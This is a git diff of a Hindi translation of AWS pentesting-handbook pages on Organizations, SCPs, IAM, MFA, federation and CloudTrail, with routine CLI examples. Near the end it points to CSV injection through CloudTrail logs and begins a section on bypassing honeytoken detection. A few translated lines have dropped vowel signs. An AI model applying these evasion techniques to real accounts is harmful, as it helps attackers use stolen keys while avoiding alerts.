Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA

This commit is contained in:
Translator
2025-02-11 17:17:11 +00:00
parent 2bead2e9a6
commit b4982b64f6
31 changed files with 277 additions and 267 deletions

View File

@@ -10,7 +10,7 @@
AWS में एक **root account** है, जो आपके **organization** के लिए सभी खातों का **parent container** है। हालाँकि, आपको संसाधनों को तैनात करने के लिए उस खाते का उपयोग करने की आवश्यकता नहीं है, आप **अलग-अलग AWS** बुनियादी ढाँचे को अलग करने के लिए **अन्य खाते बना सकते हैं**
यह **security** के दृष्टिकोण से बहुत दिलचस्प है, क्योंकि **एक खाता अन्य खाते के संसाधनों तक पहुँच नहीं सकेगा** (जब तक कि पुल विशेष रूप से बनाए नहीं गए हों), इसलिए इस तरह आप तैनातियों के बीच सीमाएँ बना सकते हैं।
यह **security** के दृष्टिकोण से बहुत दिलचस्प है, क्योंकि **एक खाता अन्य खाते के संसाधनों तक पहुँच नहीं पाएगा** (जब तक कि पुल विशेष रूप से बनाए नहीं गए हों), इसलिए इस तरह आप तैनातियों के बीच सीमाएँ बना सकते हैं।
इसलिए, एक संगठन में **दो प्रकार के खाते** होते हैं (हम AWS खातों की बात कर रहे हैं, उपयोगकर्ता खातों की नहीं): एकल खाता जिसे प्रबंधन खाता के रूप में नामित किया गया है, और एक या अधिक सदस्य खाते।
@@ -19,7 +19,7 @@ AWS में एक **root account** है, जो आपके **organization
- संगठन में खाते बनाना
- संगठन में अन्य मौजूदा खातों को आमंत्रित करना
- संगठन से खातों को हटाना
- आमंत्रणों का प्रबंध करना
- आमंत्रण प्रबंधित करना
- संगठन के भीतर संस्थाओं (roots, OUs, या खातों) पर नीतियाँ लागू करना
- संगठन में सभी खातों के बीच सेवा कार्यक्षमता प्रदान करने के लिए समर्थित AWS सेवाओं के साथ एकीकरण सक्षम करना।
- आप इस root account/organization को बनाने के लिए उपयोग किए गए ईमेल और पासवर्ड का उपयोग करके root उपयोगकर्ता के रूप में लॉगिन कर सकते हैं।
@@ -40,9 +40,9 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### Service Control Policy (SCP)
एक **service control policy (SCP)** एक नीति है जो उन सेवाओं और क्रियाओं को निर्दिष्ट करती है जिन्हें उपयोगकर्ता और भूमिकाएँ उन खातों में उपयोग कर सकते हैं जिन पर SCP प्रभाव डालती है। SCPs **IAM** अनुमतियों की नीतियों के समान हैं, सिवाय इसके कि वे **कोई अनुमतियाँ नहीं देतीं**। इसके बजाय, SCPs एक संगठन, संगठनात्मक इकाई (OU), या खाते के लिए **अधिकतम अनुमतियाँ** निर्दिष्ट करती हैं। जब आप अपने संगठन की जड़ या एक OU पर SCP संलग्न करते हैं, तो **SCP सदस्य खातों में संस्थाओं के लिए अनुमतियों को सीमित करती है**
एक **service control policy (SCP)** एक नीति है जो उन सेवाओं और क्रियाओं को निर्दिष्ट करती है जिन्हें उपयोगकर्ता और भूमिकाएँ उन खातों में उपयोग कर सकते हैं जिन पर SCP प्रभाव डालती है। SCPs **IAM** अनुमतियों की नीतियों के समान हैं सिवाय इसके कि वे **कोई अनुमतियाँ नहीं देतीं**। इसके बजाय, SCPs एक संगठन, संगठनात्मक इकाई (OU), या खाते के लिए **अधिकतम अनुमतियों** को निर्दिष्ट करती हैं। जब आप अपने संगठन की जड़ या एक OU पर SCP संलग्न करते हैं, तो **SCP सदस्य खातों में संस्थाओं के लिए अनुमतियों को सीमित करती है**
यह **एकमात्र तरीका है कि** **यहाँ तक कि रूट उपयोगकर्ता को भी कुछ करने से रोका जा सकता है**। उदाहरण के लिए, इसका उपयोग उपयोगकर्ताओं को CloudTrail को निष्क्रिय करने या बैकअप हटाने से रोकने के लिए किया जा सकता है।\
यह **एकमात्र तरीका है कि** **यहाँ तक कि रूट उपयोगकर्ता को भी कुछ करने से रोका जा सकता है**। उदाहरण के लिए, इसका उपयोग उपयोगकर्ताओं को CloudTrail को निष्क्रिय करने या बैकअप को हटाने से रोकने के लिए किया जा सकता है।\
इससे बचने का एकमात्र तरीका यह है कि **मास्टर खाता** भी समझौता किया जाए जो SCPs को कॉन्फ़िगर करता है (मास्टर खाता को अवरुद्ध नहीं किया जा सकता)।
> [!WARNING]
@@ -102,7 +102,7 @@ IAM को इसकी क्षमता द्वारा परिभाष
जब आप एक IAM उपयोगकर्ता बनाते हैं, तो आप इसे **अनुमतियाँ** प्रदान करते हैं, इसे एक **उपयोगकर्ता समूह का सदस्य बनाकर** जो उपयुक्त अनुमति नीतियों से जुड़ा होता है (अनुशंसित), या **प्रत्यक्ष रूप से नीतियाँ** उपयोगकर्ता से जोड़कर।
उपयोगकर्ताओं के पास कंसोल के माध्यम से लॉगिन करने के लिए **MFA सक्षम** हो सकता है। MFA सक्षम उपयोगकर्ताओं के API टोकन MFA द्वारा सुरक्षित नहीं होते हैं। यदि आप **MFA का उपयोग करके उपयोगकर्ताओं की API कुंजियों की पहुँच को प्रतिबंधित करना चाहते हैं** तो आपको नीति में यह इंगित करना होगा कि कुछ क्रियाएँ करने के लिए MFA की आवश्यकता है (उदाहरण [**यहाँ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))।
उपयोगकर्ताओं के पास **कंसोल के माध्यम से लॉगिन करने के लिए MFA सक्षम हो सकता है**। MFA सक्षम उपयोगकर्ताओं के API टोकन MFA द्वारा सुरक्षित नहीं होते हैं। यदि आप **MFA का उपयोग करके उपयोगकर्ताओं की API कुंजियों की पहुँच को प्रतिबंधित करना चाहते हैं** तो आपको नीति में यह इंगित करना होगा कि कुछ क्रियाएँ करने के लिए MFA की आवश्यकता है (उदाहरण [**यहाँ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))।
#### CLI
@@ -115,7 +115,7 @@ _एक नई एक्सेस कुंजी बनाएं -> सिस
### MFA - मल्टी फैक्टर प्रमाणीकरण
यह आपके मौजूदा तरीकों के अलावा **प्रमाणीकरण के लिए एक अतिरिक्त कारक बनाने** के लिए उपयोग किया जाता है, जैसे पासवर्ड, इस प्रकार, प्रमाणीकरण का एक मल्टी-फैक्टर स्तर बनाना।\
आप एक **नि:शुल्क वर्चुअल एप्लिकेशन या एक भौतिक डिवाइस** का उपयोग कर सकते हैं। आप AWS में MFA सक्रिय करने के लिए मुफ्त में गूगल प्रमाणीकरण जैसे ऐप्स का उपयोग कर सकते हैं।
आप एक **नि:शुल्क वर्चुअल एप्लिकेशन या एक भौतिक उपकरण** का उपयोग कर सकते हैं। आप AWS में MFA सक्रिय करने के लिए मुफ्त में गूगल प्रमाणीकरण जैसे ऐप्स का उपयोग कर सकते हैं।
MFA शर्तों वाली नीतियाँ निम्नलिखित पर संलग्न की जा सकती हैं:
@@ -124,7 +124,7 @@ MFA शर्तों वाली नीतियाँ निम्नलि
- एक IAM भूमिका की ट्रस्ट नीति जिसे एक उपयोगकर्ता द्वारा ग्रहण किया जा सकता है
यदि आप **CLI के माध्यम से** एक संसाधन तक पहुँच प्राप्त करना चाहते हैं जो **MFA की जाँच करता है** तो आपको **`GetSessionToken`** कॉल करना होगा। यह आपको MFA के बारे में जानकारी के साथ एक टोकन देगा।\
नोट करें कि **`AssumeRole` क्रेडेंशियल्स में यह जानकारी नहीं होती है**।
नोट करें कि **`AssumeRole` क्रेडेंशियल्स में यह जानकारी शामिल नहीं होती है**।
```bash
aws sts get-session-token --serial-number <arn_device> --token-code <code>
```
@@ -132,13 +132,13 @@ aws sts get-session-token --serial-number <arn_device> --token-code <code>
### [IAM उपयोगकर्ता समूह](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
एक IAM [उपयोगकर्ता समूह](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) एक ऐसा तरीका है जिससे **एक समय में कई उपयोगकर्ताओं** के लिए नीतियों को **जोड़ना** आसान हो जाता है, जिससे उन उपयोगकर्ताओं के लिए अनुमतियों का प्रबंधन करना आसान हो जाता है। **भूमिकाएँ और समूह एक समूह का हिस्सा नहीं हो सकते**
एक IAM [उपयोगकर्ता समूह](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) एक ऐसा तरीका है जिससे **एक समय में कई उपयोगकर्ताओं** के लिए नीतियों को **जोड़ना** आसान हो जाता है, जिससे उन उपयोगकर्ताओं के लिए अनुमतियों का प्रबंधन करना आसान हो जाता है। **भूमिकाएँ और समूह समूह का हिस्सा नहीं हो सकते**
आप एक **पहचान-आधारित नीति को एक उपयोगकर्ता समूह** से जोड़ सकते हैं ताकि उपयोगकर्ता समूह में सभी **उपयोगकर्ताओं को नीति की अनुमतियाँ प्राप्त हों**। आप **एक उपयोगकर्ता समूह** को **`Principal`** के रूप में **नीति** (जैसे संसाधन-आधारित नीति) में पहचान नहीं सकते क्योंकि समूह अनुमतियों से संबंधित होते हैं, प्रमाणीकरण से नहीं, और प्रिंसिपल प्रमाणीकरण किए गए IAM संस्थाएँ होती हैं।
उपयोगकर्ता समूह की कुछ महत्वपूर्ण विशेषताएँ हैं:
- एक उपयोगकर्ता **समूह** में **कई उपयोगकर्ता** हो सकते हैं, और एक **उपयोगकर्ता** **कई समूहों** का **भाग हो सकता है**
- एक उपयोगकर्ता **समूह** में **कई उपयोगकर्ता** हो सकते हैं, और एक **उपयोगकर्ता** **कई समूहों** का **भाग हो सकता** है
- **उपयोगकर्ता समूहों को नेस्ट नहीं किया जा सकता**; वे केवल उपयोगकर्ताओं को शामिल कर सकते हैं, अन्य उपयोगकर्ता समूहों को नहीं।
- AWS खाते में सभी उपयोगकर्ताओं को स्वचालित रूप से शामिल करने वाला **कोई डिफ़ॉल्ट उपयोगकर्ता समूह नहीं है**। यदि आप ऐसा उपयोगकर्ता समूह चाहते हैं, तो आपको इसे बनाना होगा और प्रत्येक नए उपयोगकर्ता को इसमें असाइन करना होगा।
- AWS खाते में IAM संसाधनों की संख्या और आकार, जैसे समूहों की संख्या, और एक उपयोगकर्ता जिस समूह का सदस्य हो सकता है, सीमित हैं। अधिक जानकारी के लिए, [IAM और AWS STS कोटा](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html) देखें।
@@ -191,7 +191,7 @@ AWS सुरक्षा टोकन सेवा (STS) एक वेब स
}
```
[ग्लोबल फ़ील्ड जो किसी भी सेवा में शर्तों के लिए उपयोग किए जा सकते हैं, यहाँ दस्तावेज़ित हैं](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
[विशिष्ट फ़ील्ड जो प्रत्येक सेवा के लिए शर्तों के लिए उपयोग किए जा सकते हैं, यहाँ दस्तावेज़ित हैं](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
[विशिष्ट फ़ील्ड जो सेवा के अनुसार शर्तों के लिए उपयोग किए जा सकते हैं, यहाँ दस्तावेज़ित हैं](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
#### इनलाइन नीतियाँ
@@ -200,7 +200,7 @@ AWS सुरक्षा टोकन सेवा (STS) एक वेब स
#### संसाधन बाल्टी नीतियाँ
ये **नीतियाँ** हैं जिन्हें **संसाधनों** में परिभाषित किया जा सकत है। **AWS के सभी संसाधन उनका समर्थन नहीं करते**
ये **नीतियाँ** हैं ज **संसाधनों** में परिभाषित क जा सकत है**AWS के सभी संसाधन उनका समर्थन नहीं करते**
यदि किसी प्रमुख के पास उन पर स्पष्ट अस्वीकृति नहीं है, और एक संसाधन नीति उन्हें पहुँच प्रदान करती है, तो उन्हें अनुमति दी जाती है।
@@ -230,12 +230,12 @@ aws sts assume-role \
### पहचान संघ
पहचान संघ **AWS के लिए बाहरी पहचान प्रदाताओं से उपयोगकर्ताओं को सुरक्षित रूप से AWS संसाधनों तक पहुँचने की अनुमति देता है** बिना AWS उपयोगकर्ता क्रेडेंशियल्स को एक मान्य IAM उपयोगकर्ता खाते से प्रदान किए।\
एक पहचान प्रदाता का उदाहरण आपक अपन कॉर्पोरेट **Microsoft Active Directory** (द्वारा **SAML**) या **OpenID** सेवाएँ (जैसे **Google**) हो सकता है। संघीय पहुँच फिर उपयोगकर्ताओं को AWS तक पहुँचने की अनुमति देगी।
पहचान संघ **AWS के लिए बाहरी पहचान प्रदाताओं से उपयोगकर्ताओं को सुरक्षित रूप से AWS संसाधनों तक पहुँचने की अनुमति देता है** बिना किसी मान्य IAM उपयोगकर्ता खाते से AWS उपयोगकर्ता क्रेडेंशियल्स प्रदान किए।\
एक पहचान प्रदाता का उदाहरण आपक अपन कॉर्पोरेट **Microsoft Active Directory** (द्वारा **SAML**) या **OpenID** सेवाएँ (जैसे **Google**) हो सकता है। संघीय पहुँच फिर उपयोगकर्ताओं को AWS तक पहुँचने की अनुमति देगी।
इस विश्वास को कॉन्फ़िगर करने के लिए, एक **IAM पहचान प्रदाता उत्पन्न किया जाता है (SAML या OAuth)** जो **अन्य प्लेटफ़ॉर्म** पर **विश्वास करेगा**। फिर, कम से कम एक **IAM भूमिका (विश्वास करने वाली) पहचान प्रदाता को सौंपा जाता है**। यदि विश्वसनीय प्लेटफ़ॉर्म से क उपयोगकर्ता AWS तक पहुँचता है, तो वह उल्लेखित भूमिका के रूप में पहुँच रहा होगा।
इस विश्वास को कॉन्फ़िगर करने के लिए, एक **IAM पहचान प्रदाता उत्पन्न किया जाता है (SAML या OAuth)** जो **अन्य प्लेटफ़ॉर्म** पर **विश्वास करेगा**। फिर, कम से कम एक **IAM भूमिका (विश्वास करने वाली) पहचान प्रदाता को सौंपा जाता है**। यदि विश्वसनीय प्लेटफ़ॉर्म से कोई उपयोगकर्ता AWS तक पहुँचता है, तो वह उल्लेखित भूमिका के रूप में पहुँच रहा होगा।
हालांकि, आप आमतौर पर **उपयोगकर्ता के समूह के आधार पर एक अलग भूमिका देना चाहेंगे** तीसरे पक्ष के प्लेटफ़ॉर्म में। फिर, कई **IAM भूमिकाएँ तीसरे पक्ष के पहचान प्रदाता पर विश्वास कर सकती हैं** और तीसरा पक्ष का प्लेटफ़ॉर्म उपयोगकर्ताओं को एक भूमिका या दूसरी भूमिका को मानने की अनुमति देगा।
हालांकि, आप आमतौर पर **उपयोगकर्ता के समूह के आधार पर एक अलग भूमिका देना चाहेंगे** तीसरे पक्ष के प्लेटफ़ॉर्म में। फिर, कई **IAM भूमिकाएँ तीसरे पक्ष के पहचान प्रदाता पर विश्वास कर सकती हैं** और तीसरा पक्ष का प्लेटफ़ॉर्म उपयोगकर्ताओं को एक भूमिका या दूसरी भूमिका ग्रहण करने की अनुमति देगा।
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
@@ -282,18 +282,18 @@ AWS IAM पहचान केंद्र (AWS सिंगल साइन-ऑ
#### वेब संघ या OpenID प्रमाणीकरण
ऐप अस्थायी क्रेडेंशियल्स बनाने के लिए AssumeRoleWithWebIdentity का उपयोग करता है। हालाँकि, यह AWS कंसोल तक पहुँच नहीं देता, केवल AWS के भीतर संसाधनों तक पहुँच देता है।
ऐप अस्थायी क्रेडेंशियल बनाने के लिए AssumeRoleWithWebIdentity का उपयोग करता है। हालाँकि, यह AWS कंसोल तक पहुँच प्रदान नहीं करता है, केवल AWS के भीतर संसाधनों तक पहुँच प्रदान करता है।
### अन्य IAM विकल्प
- आप **पासवर्ड नीति सेटिंग** विकल्प जैसे न्यूनतम लंबाई और पासवर्ड आवश्यकताओं को सेट कर सकते हैं।
- आप **"क्रेडेंशियल रिपोर्ट" डाउनलोड कर सकते हैं** जिसमें वर्तमान क्रेडेंशियल्स के बारे में जानकारी होती है (जैसे उपयोगकर्ता निर्माण समय, क्या पासवर्ड सक्षम है...)। आप एक क्रेडेंशियल रिपोर्ट हर **चार घंटे** में एक बार उत्पन्न कर सकते हैं।
AWS पहचान और पहुँच प्रबंधन (IAM) **AWS के सभी क्षेत्रों में बारीक पहुँच नियंत्रण** प्रदान करता है। IAM के साथ, आप निर्दिष्ट कर सकते हैं **कौन कौन सी सेवाओं और संसाधनों तक पहुँच सकता है**, और किन शर्तों के तहत। IAM नीतियों के साथ, आप अपनी कार्यबल और प्रणालियों के लिए अनुमतियों का प्रबंधन करते हैं ताकि **कम से कम विशेषाधिकार अनुमतियाँ** सुनिश्चित की जा सकें।
AWS पहचान और पहुँच प्रबंधन (IAM) **AWS के सभी क्षेत्रों में बारीक पहुँच नियंत्रण** प्रदान करता है। IAM के साथ, आप निर्दिष्ट कर सकते हैं **कौन कौन सी सेवाओं और संसाधनों तक पहुँच सकता है**, और किन शर्तों के तहत। IAM नीतियों के साथ, आप अपनी कार्यबल और प्रणालियों के लिए अनुमतियों का प्रबंधन करते हैं ताकि **कम से कम विशेषाधिकार अनुमतियाँ सुनिश्चित की जा सकें**
### IAM ID उपसर्ग
[**इस पृष्ठ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) पर आप कुंजियों के उपसर्गों को उनकी प्रकृति के अनुसार पा सकते हैं:
[**इस पृष्ठ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) पर आप कुंजियों के **IAM ID उपसर्ग** को उनकी प्रकृति के अनुसार पा सकते हैं:
| पहचानकर्ता कोड | विवरण |
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
@@ -343,7 +343,7 @@ region = eu-west-2
```
यदि आपको **विभिन्न AWS खातों** तक पहुँचने की आवश्यकता है और आपके प्रोफ़ाइल को **उन खातों के भीतर एक भूमिका ग्रहण करने** की अनुमति दी गई है, तो आपको हर बार मैन्युअल रूप से STS को कॉल करने की आवश्यकता नहीं है (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) और क्रेडेंशियल्स को कॉन्फ़िगर करने की आवश्यकता नहीं है।
आप `~/.aws/config` फ़ाइल का उपयोग कर सकते हैं[ **यह इंगित करने के लिए कि कौन सी भूमिकाएँ ग्रहण करनी हैं**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), और फिर सामान्य रूप से `--profile` पैरामीटर का उपयोग करें (भूमिका ग्रहण करना उपयोगकर्ता के लिए पारदर्शी तरीके से किया जाएग)।\
आप `~/.aws/config` फ़ाइल का उपयोग कर सकते हैं[ **यह इंगित करने के लिए कि कौन सी भूमिकाएँ ग्रहण करनी हैं**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), और फिर सामान्य रूप से `--profile` पैरामीटर का उपयोग करें (ग्रहण-भूमिका उपयोगकर्ता के लिए पारदर्शी तरीके से क जाएग)।\
एक कॉन्फ़िग फ़ाइल का उदाहरण:
```
[profile acc2]

View File

@@ -24,7 +24,7 @@ CloudTrail के लॉग को **खातों और क्षेत्
CloudTrail **लॉग फ़ाइल की अखंडता का उपयोग करने की अनुमति देता है ताकि आप यह सत्यापित कर सकें कि आपकी लॉग फ़ाइलें तब से अपरिवर्तित रही हैं जब से CloudTrail ने उन्हें आपको वितरित किया।** यह लॉग के अंदर एक डाइजेस्ट फ़ाइल में SHA-256 हैश बनाता है। नए लॉग का sha-256 हैश हर घंटे बनाया जाता है।\
जब एक ट्रेल बनाया जाता है, तो इवेंट चयनकर्ता आपको लॉग करने के लिए ट्रेल को इंगित करने की अनुमति देंगे: प्रबंधन, डेटा या अंतर्दृष्टि घटनाएँ।
लॉग एक S3 बकेट में सहेजे जाते हैं। डिफ़ॉल्ट रूप से सर्वर साइड एन्क्रिप्शन का उपयोग किया जाता है (SSE-S3) ताकि AWS उन लोगों के लिए सामग्री को डिक्रिप्ट करेगा जिनके पास इसका एक्सेस है, लेकिन अतिरिक्त सुरक्षा के लिए आप KMS और अपनी स्वयं की कुंजियों के साथ SSE का उपयोग कर सकते हैं।
लॉग एक S3 बकेट में सहेजे जाते हैं। डिफ़ॉल्ट रूप से सर्वर साइड एन्क्रिप्शन का उपयोग किया जाता है (SSE-S3) इसलिए AWS उन लोगों के लिए सामग्री को डिक्रिप्ट करेगा जिनके पास इसका एक्सेस है, लेकिन अतिरिक्त सुरक्षा के लिए आप KMS और अपनी स्वयं की कुंजियों के साथ SSE का उपयोग कर सकते हैं।
लॉग एक **S3 बकेट में इस नाम प्रारूप के साथ संग्रहीत होते हैं**:
@@ -42,7 +42,7 @@ CloudTrail **लॉग फ़ाइल की अखंडता का उप
![](<../../../../images/image (195).png>)
### कई खातों से लॉग समेकित करना
### कई खातों से लॉग को समेकित करना
- उस AWS खाते में एक ट्रेल बनाएं जहाँ आप लॉग फ़ाइलें वितरित करना चाहते हैं
- गंतव्य S3 बकेट पर अनुमतियाँ लागू करें जो CloudTrail के लिए क्रॉस-खाता एक्सेस की अनुमति देती हैं और प्रत्येक AWS खाते को अनुमति दें जिसे एक्सेस की आवश्यकता है
@@ -51,7 +51,7 @@ CloudTrail **लॉग फ़ाइल की अखंडता का उप
हालांकि, भले ही आप सभी लॉग को एक ही S3 बकेट में सहेज सकते हैं, आप एक ही AWS खाते से संबंधित CloudWatch लॉग में कई खातों से CloudTrail लॉग को समेकित नहीं कर सकते।
> [!CAUTION]
> याद रखें कि एक खाते में **विभिन्न ट्रेल्स** हो सकते हैं जो CloudTrail **सक्षम** हैं, जो विभिन्न बकेट में समान (या विभिन्न) लॉग को संग्रहीत करते हैं।
> याद रखें कि एक खाते में **विभिन्न ट्रेल्स** हो सकते हैं जो CloudTrail **सक्षम** हैं जो विभिन्न बकेट में समान (या विभिन्न) लॉग को संग्रहीत करते हैं।
### सभी संगठन खातों से 1 में CloudTrail
@@ -59,11 +59,11 @@ CloudTrail **लॉग फ़ाइल की अखंडता का उप
<figure><img src="../../../../images/image (200).png" alt=""><figcaption></figcaption></figure>
इस तरह आप सभी खातों के सभी क्षेत्रों में CloudTrail को आसानी से कॉन्फ़िगर कर सकते हैं और 1 खाते में लॉग को केंद्रीकृत कर सकते हैं (जिसे आपको सुरक्षित करना चाहिए)।
इस तरह आप सभी खातों के सभी क्षेत्रों में CloudTrail को आसानी से कॉन्फ़िगर कर सकते हैं और लॉग को 1 खाते में केंद्रीकृत कर सकते हैं (जिसे आपको सुरक्षित करना चाहिए)।
### लॉग फ़ाइलों की जांच
आप यह जांच सकते हैं कि लॉग में परिवर्तन नहीं किया गया है।
आप यह जांच सकते हैं कि लॉग में कोई परिवर्तन नहीं किया गया है।
```javascript
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
```
@@ -83,23 +83,23 @@ CloudTrail Event History आपको एक तालिका में रि
### Insights
**CloudTrail Insights** स्वचालित रूप से **लिखित प्रबंधन घटनाओं का विश्लेषण** करता है जो CloudTrail ट्रेल से आती हैं और आपको **असामान्य गतिविधि** के बारे में **चेतावनी** देता है। उदाहरण के लिए, यदि `TerminateInstance` घटनाओं में वृद्धि होती है जो स्थापित बुनियादी रेखाओं से भिन्न होती है, तो आप इसे एक Insight घटना के रूप में देखेंगे। ये घटनाएँ **असामान्य API गतिविधि को ढूंढना और प्रतिक्रिया देना पहले से कहीं अधिक आसान बनाती हैं**
**CloudTrail Insights** स्वचालित रूप से **लिखित प्रबंधन घटनाओं का विश्लेषण** करता है जो CloudTrail ट्रेल्स से आती हैं और आपको **असामान्य गतिविधि** के बारे में **चेतावनी** देता है। उदाहरण के लिए, यदि `TerminateInstance` घटनाओं में वृद्धि होती है जो स्थापित बुनियादी रेखाओं से भिन्न होती है, तो आप इसे एक Insight घटना के रूप में देखेंगे। ये घटनाएँ **असामान्य API गतिविधि को ढूंढना और प्रतिक्रिया देना पहले से कहीं अधिक आसान बनाती हैं**
Insights उसी बकेट में CloudTrail लॉग के साथ संग्रहीत होते हैं: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
### Security
| Control Name | Implementation Details |
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| CloudTrail Log File Integrity | <ul><li>जांचें कि क्या लॉग में छेड़छाड़ की गई है (संशोधित या हटाए गए)</li><li><p>डाइजेस्ट फ़ाइलों का उपयोग करता है (प्रत्येक फ़ाइल के लिए हैश बनाएं)</p><ul><li>SHA-256 हैशिंग</li><li>डिजिटल हस्ताक्षर के लिए SHA-256 के साथ RSA</li><li>प्राइवेट की अमेज़न के पास है</li></ul></li><li>डाइजेस्ट फ़ाइल बनाने में 1 घंटा लगता है (हर घंटे के शुरू में किया जाता है)</li></ul> |
| CloudTrail Log File Integrity | <ul><li>जांचें कि लॉग में छेड़छाड़ की गई है (संशोधित या हटाए गए)</li><li><p>डाइजेस्ट फ़ाइलों का उपयोग करता है (प्रत्येक फ़ाइल के लिए हैश बनाता है)</p><ul><li>SHA-256 हैशिंग</li><li>डिजिटल हस्ताक्षर के लिए SHA-256 के साथ RSA</li><li>प्राइवेट की Amazon के पास है</li></ul></li><li>डाइजेस्ट फ़ाइल बनाने में 1 घंटा लगता है (हर घंटे के शुरू में किया जाता है)</li></ul> |
| Stop unauthorized access | <ul><li><p>IAM नीतियों और S3 बकेट नीतियों का उपयोग करें</p><ul><li>सुरक्षा टीम —> व्यवस्थापक पहुंच</li><li>ऑडिटर्स —> केवल पढ़ने की पहुंच</li></ul></li><li>लॉग को एन्क्रिप्ट करने के लिए SSE-S3/SSE-KMS का उपयोग करें</li></ul> |
| Prevent log files from being deleted | <ul><li>IAM और बकेट नीतियों के साथ हटाने की पहुंच को प्रतिबंधित करें</li><li>S3 MFA हटाने के लिए कॉन्फ़िगर करें</li><li>लॉग फ़ाइल सत्यापन के साथ सत्यापित करें</li></ul> |
## Access Advisor
AWS Access Advisor अंतिम 400 दिनों के AWS **CloudTrail लॉग पर निर्भर करता है ताकि इसके अंतर्दृष्टि एकत्र की जा सकें**। CloudTrail AWS खाते में किए गए AWS API कॉल और संबंधित घटनाओं का इतिहास कैप्चर करता है। Access Advisor इस डेटा का उपयोग **यह दिखाने के लिए करता है कि सेवाओं को अंतिम बार कब एक्सेस किया गया था**। CloudTrail लॉग का विश्लेषण करके, Access Advisor यह निर्धारित कर सकता है कि किसी IAM उपयोगकर्ता या भूमिका ने किन AWS सेवाओं का उपयोग किया है और वह एक्सेस कब हुआ। यह AWS प्रशासकों को **अनुमतियों को परिष्कृत करने** के बारे में सूचित निर्णय लेने में मदद करता है, क्योंकि वे उन सेवाओं की पहचान कर सकते हैं जिन्हें लंबे समय तक एक्सेस नहीं किया गया है और वास्तविक उपयोग पैटर्न के आधार पर अत्यधिक व्यापक अनुमतियों को कम कर सकते हैं।
AWS Access Advisor अपने अंतर्दृष्टि को इकट्ठा करने के लिए पिछले 400 दिनों के AWS **CloudTrail लॉग पर निर्भर करता है**। CloudTrail AWS खाते में किए गए AWS API कॉल और संबंधित घटनाओं का इतिहास कैप्चर करता है। Access Advisor इस डेटा का उपयोग **यह दिखाने के लिए करता है कि सेवाओं को अंतिम बार कब एक्सेस किया गया था**। CloudTrail लॉग का विश्लेषण करके, Access Advisor यह निर्धारित कर सकता है कि किसी IAM उपयोगकर्ता या भूमिका ने किन AWS सेवाओं का उपयोग किया है और वह एक्सेस कब हुआ। यह AWS प्रशासकों को **अनुमतियों को परिष्कृत करने** के बारे में सूचित निर्णय लेने में मदद करता है, क्योंकि वे उन सेवाओं की पहचान कर सकते हैं जिन्हें लंबे समय तक एक्सेस नहीं किया गया है और वास्तविक उपयोग पैटर्न के आधार पर अत्यधिक व्यापक अनुमतियों को कम कर सकते हैं।
> [!TIP]
> इसलिए, Access Advisor **उपयोगकर्ताओं को दी गई अनावश्यक अनुमतियों** के बारे में सूचित करता है ताकि व्यवस्थापक उन्हें हटा सके
> इसलिए, Access Advisor **उपयोगकर्ताओं को दी जा रही अनावश्यक अनुमतियों** के बारे में सूचित करता है ताकि व्यवस्थापक उन्हें हटा सके
<figure><img src="../../../../images/image (78).png" alt=""><figcaption></figcaption></figure>
@@ -136,7 +136,7 @@ S3BucketName="random"
)
print(response)
```
अधिक जानकारी के लिए CSV इनजेक्शंस के बारे में पृष्ठ देखें:
अधिक जानकारी के लिए CSV इनजेक्श के बारे में पृष्ठ देखें:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript-injection.html
@@ -146,23 +146,23 @@ https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript
## **डिटेक्शन बायपास**
### HoneyTokens **बायपास**
### हनीटोकन **बायपास**
Honeytokens को **संवेदनशील जानकारी के एक्सफिल्ट्रेशन का पता लगाने** के लिए बनाया गया है। AWS के मामले में, ये **AWS कुंजी हैं जिनका उपयोग मॉनिटर किया जाता है**, यदि उस कुंजी के साथ कोई कार्रवाई ट्रिगर होती है, तो इसका मतलब है कि किसी ने वह कुंजी चुरा ली है।
हनीटोकन को **संवेदनशील जानकारी के एक्सफिल्ट्रेशन का पता लगाने** के लिए बनाया गया है। AWS के मामले में, ये **AWS कुंजी हैं जिनका उपयोग मॉनिटर किया जाता है**, यदि उस कुंजी के साथ कोई कार्रवाई ट्रिगर होती है, तो इसका मतलब है कि किसी ने वह कुंजी चुरा ली है।
